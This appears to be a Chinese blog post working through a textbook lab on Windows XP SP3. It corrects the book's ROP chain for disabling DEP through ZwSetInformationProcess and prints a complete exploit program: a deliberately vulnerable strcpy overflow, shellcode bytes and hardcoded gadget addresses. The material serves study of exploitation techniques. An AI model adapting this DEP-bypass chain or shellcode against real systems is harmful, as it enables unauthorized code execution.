if __author__ == "LiT0":
0x00 前言
在此节中,首次碰到书本上的错误(大神勿喷,请看完全文。按照我的思路执行成功)
具体在12.3.1节 关于利用ZwSetInformationProcess 的实践实验。实验了一晚上,按照书上一步步来总是出错。经过认真研究发现了一处错误。
系统环境与书上一致 xp sp3 && vc++ 没有gs 和 safeseh
0x01 正文
先过趁热过一遍实验:
首先,经典溢出漏洞without GS—> 直接覆盖函数返回地址—> 找到关闭DEP函数的入口地址—>执行关闭DEP—>回跳执行shellcode
根据流程通过执行
mov eax, 1
retn
进入关闭函数,但是函数在执行过程中写入esp, 而esp在溢出时就被破坏,所以需要修正esp
可以通过
push esp
pop ebp
retn 4
至此,可以成功关闭dep 但是,此时因为函数体里面的代码,破坏了栈,我们失去了程序的控制权。
此前程序按照预想的进行
进行下一步骤: 书上内容所说,使用
pop eax
retn 28
利用此段代码扩充ebp 和 esp 之间的空间, 使dep关闭函数的压栈行为就不会破坏栈了。
然而,我单步调试执行之后发现执行 pop eax 之后, 会将 dep关闭函数入口地址 出栈,使esp下移,那么retn 返回之后进入的就是错误的地址 如下所示
执行 pop 前:
esp 在0x0012fec0
执行pop之后:
esp已经+4
那么下一步就会访问 0xFFFF33E9!!
0x02解决方案
明白了问题的成因,问题也就迎刃而解。
很明显,只要去掉pop就可以使程序正常返回至关闭DEP函数入口地址
找一个不带pop的 retn 28!
使用插件 pop 设为0 n设为 28 就可以找到了!
修改代码如下:
// GS_Virtual.cpp : 定义控制台应用程序的入口点。
//
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x90\x7C" //mov eax, 1 ret
"\x85\x8B\x0F\x5D" //修正ebp push esp; pop ebp; retn
"\x21\xF7\x80\x7C" //增大esp retn 28; <-------------------修改此处,原为pop retn 28
"\x7B\x46\x86\x7C" //jmp esp;
"\x24\xCD\x91\x7C" //关dep
"\xE9\x33\xFF\xFF" //back
"\xFF\x90\x90\x90"
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}